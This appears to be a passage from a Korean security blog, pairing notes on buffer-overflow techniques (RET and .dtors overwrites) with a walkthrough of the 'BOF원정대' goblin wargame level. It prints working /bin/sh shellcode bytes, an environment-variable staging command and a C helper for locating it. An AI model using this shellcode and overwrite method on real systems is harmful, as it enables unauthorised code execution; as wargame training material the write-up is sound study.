프로그램을 실행 시키고 그 관련된 변수에 셸코드를 올린 후 그 주소값을 ret에 덮는 방법이다.

이 방법은 NOP를 많이 넣을 수 없는 경우가 생기고 gdb에서 빠져나와 실제 실행 했을시 주소값이 바뀔경우 공격이 정확히 들어가지 않는다.. 역시 환경변수가 최고.

 

3. 소멸자 이용

GNU C 컴파일러를 이용해 컴파일된 프로그램에선 소멸자와 생성자를 위한 특수 테이블 섹션 .dtors 와 .ctors 를 생성한다. 소멸자는 (nm 파일이름)이나 (objdump -h 파일) 으로 주소값을 확인 가능하다.  소멸자는 쓰기가 가능하기 때문에 이 주소에 셸코드 주소를 입력하면 된다.

 

흠.. 이정도?

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
간단한 Shellcode 만들기  (0) 2014.05.05
Posted by flack3r
|

BOF원정대 level3

Wargame 2014. 5. 4. 01:57

1. goblin의 소스코드를 파악한다. 

소스코드를 보면 gets함수로 배열크기 16의 변수에 값을 입력하는 단순한 코드로 되어있다. 

2. gdb로 스택 구조를 파악한다.

밑의 사진을 보면 스택에 16크기가 할당되는 것을 볼 수 있다. 따라서 우리는 배열 변수(16)+ SFP(4) + RET(4)=24만큼의 공격 스크립트를 입력하면 된다.

 

 

3. 환경변수에 셸코드를 올린다. 

export SHELLCODE = $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

 

4. 환경변수의 주소값을 출력하는 코드를 작성한다.

 

#include<stdlib.h>

int main(int argc,char* argv[])

{

char* a = getenv(argv[1]);

a+= (strlen(argv[0]) - strlen(argv[2]))*2;

printf("SHELLCODE position is %p \n",a);

return 0;

}

 

그 후  환경 변수의 주소값을 이용해 공격 스크립트를 작성한다.


 

끝..!

 

 

 

'Wargame' 카테고리의 다른 글

Fc3 dark_eyes  (0) 2014.08.22
Suninatas all clear  (3) 2014.07.25
워게임 현황  (0) 2014.07.01
CodeEngn 베이직 올클  (0) 2014.05.14
워게임 사이트  (0) 2014.05.05
Posted by flack3r
|